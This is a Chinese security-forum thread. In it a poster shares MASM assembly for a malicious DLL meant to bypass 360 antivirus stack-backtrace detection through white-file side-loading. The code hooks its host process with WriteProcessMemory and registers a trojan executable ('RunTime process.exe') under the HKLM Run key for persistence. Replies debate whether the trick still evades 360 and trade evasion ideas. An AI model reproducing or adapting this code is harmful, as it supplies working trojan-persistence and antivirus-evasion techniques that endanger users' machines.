首页
社区
课程
招聘
[原创]黑+白 过某60栈回溯
发表于: 2015-3-23 15:43 8364

[原创]黑+白 过某60栈回溯

2015-3-23 15:43
8364
去年坛子的大大给的思路写的 过栈回溯XXX

.486p

.model flat,stdcall

option casemap:none

assume fs:nothing

include windows.inc

include user32.inc

includelib user32.lib

include kernel32.inc

includelib kernel32.lib

include         Advapi32.inc

includelib      Advapi32.lib

.data

szKeyAutoRun        db      'Software\Microsoft\Windows\CurrentVersion\Run',0

szValueAutoRun  db      'baidusdpptoet',0   

jmpaddr dd 00

hookaddr dd 00

oldprotect dd 00

dllhandle dd 00

mumaexepatch byte "\RunTime process.exe",0

backbyte byte 5 dup  (?);备份5个字节

.code

funcxx proc

ret

funcxx endp

funcx proc

ret

funcx endp

funcxxx proc

ret

funcxxx endp

funcxaxx proc

ret

funcxaxx endp

threadx proc x:dword

invoke FreeLibraryAndExitThread,offset dllhandle,0

mov eax,0

ret

threadx endp

func proc

        local   @hKey  

local   @szFileName[MAX_PATH]:byte

invoke  RegCreateKey,HKEY_LOCAL_MACHINE,addr szKeyAutoRun ,addr @hKey

;invoke GetModuleFileName,NULL,addr @szFileName,260

invoke GetCurrentDirectory,260,addr @szFileName

invoke lstrcat,addr  @szFileName,addr   mumaexepatch

;inc     eax

;mov @szFileName,'x'

invoke lstrlen,addr @szFileName

invoke  RegSetValueEx,@hKey,offset szValueAutoRun,NULL,REG_SZ, addr @szFileName,eax

invoke  RegCloseKey,@hKey

ret

func endp

start proc x,y,z:dword

.if y==DLL_PROCESS_ATTACH

push x

pop dllhandle

jmp xyz

xyz:

  jmp pushaddr

pushaddr:

invoke GetModuleHandle,NULL

        add eax,100Bh

       mov hookaddr,eax;这里已经指向指定代码了

       mov jmpaddr,eax

;解除保护区域是hookaddr+100

nop

nop

nop

nop

nop

nop

mov byte ptr [backbyte],0E9H

mov eax,offset func

mov ebx ,hookaddr

sub eax,ebx

sub eax,5

mov dword ptr [backbyte+1],eax

invoke VirtualProtect, jmpaddr,1000,PAGE_EXECUTE_READWRITE, offset oldprotect ;

;lea eax,jmpaddr

;lea esi, offset backbyte

;cld

;movsd

;movsb

invoke GetCurrentProcess

invoke WriteProcessMemory,eax, jmpaddr,offset backbyte,5,NULL

;invoke CreateThread,NULL,NULL,offset threadx,NULL,0,NULL

jmp jmpaddr

.endif

ret

start endp

funcxxxxx proc

ret

funcxxxxx endp

end start

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 3
支持
分享
最新回复 (14)
雪    币: 144
活跃值: (335)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
也是hook loadlibrary下面的地方吧?
看着有点乱 - -
2015-3-23 16:18
0
雪    币: 719
活跃值: (777)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
3
改进了一点儿 随便HOOK= =
2015-3-23 16:21
0
雪    币: 60
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这代码写的 真混乱?
2015-3-23 17:28
0
雪    币: 719
活跃值: (777)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
5
开始很好 最后 某60杀就乱添加的 打乱了一点点顺序= =
2015-3-23 17:43
0
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这代码实在看不懂 发个编译后的吧 如何a
2015-3-23 18:03
0
雪    币: 198
活跃值: (103)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
对360已经无效了
2015-3-24 11:08
0
雪    币: 115
活跃值: (23)
能力值: (RANK:20 )
在线值:
发帖
回帖
粉丝
8
请楼主发布技术贴的时候配文字解释,谢谢!
2015-4-9 22:44
0
雪    币: 23
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
GetModuleHandle,WriteProcessMemory,GetCurrentProcess,调用这些都能过回溯了?愁?全是雷区,我醉了
2015-4-10 01:43
0
雪    币: 719
活跃值: (777)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
10
去年过了。写内存的都换成了直接操作内存的了。获取基址解析peb就行了。。。这里指望直接拿去用的伸手党。。。来错地方了。。。
2015-4-10 23:20
0
雪    币: 23
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
主要是一看到writeprocessmem感觉就非常不好了。
2015-4-11 00:14
0
雪    币: 719
活跃值: (777)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
12
别要求太高了嘛~~~~~~~
2015-4-11 12:36
0
雪    币: 115
活跃值: (23)
能力值: (RANK:20 )
在线值:
发帖
回帖
粉丝
13
哥们,求带
2015-6-10 17:40
0
雪    币: 1555
活跃值: (3032)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
14
我的思路这样 先jmp 到一个合法的 内存地址,在跳到一个地方,在跳到一个地方 .............跳上个七八次 最后跳到自己那里 这个方法可行不。。。。能过数字吗
2015-6-12 00:33
0
雪    币: 137
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
还是感谢lz
2015-6-13 09:27
0
游客
登录 | 注册 方可回帖
返回
//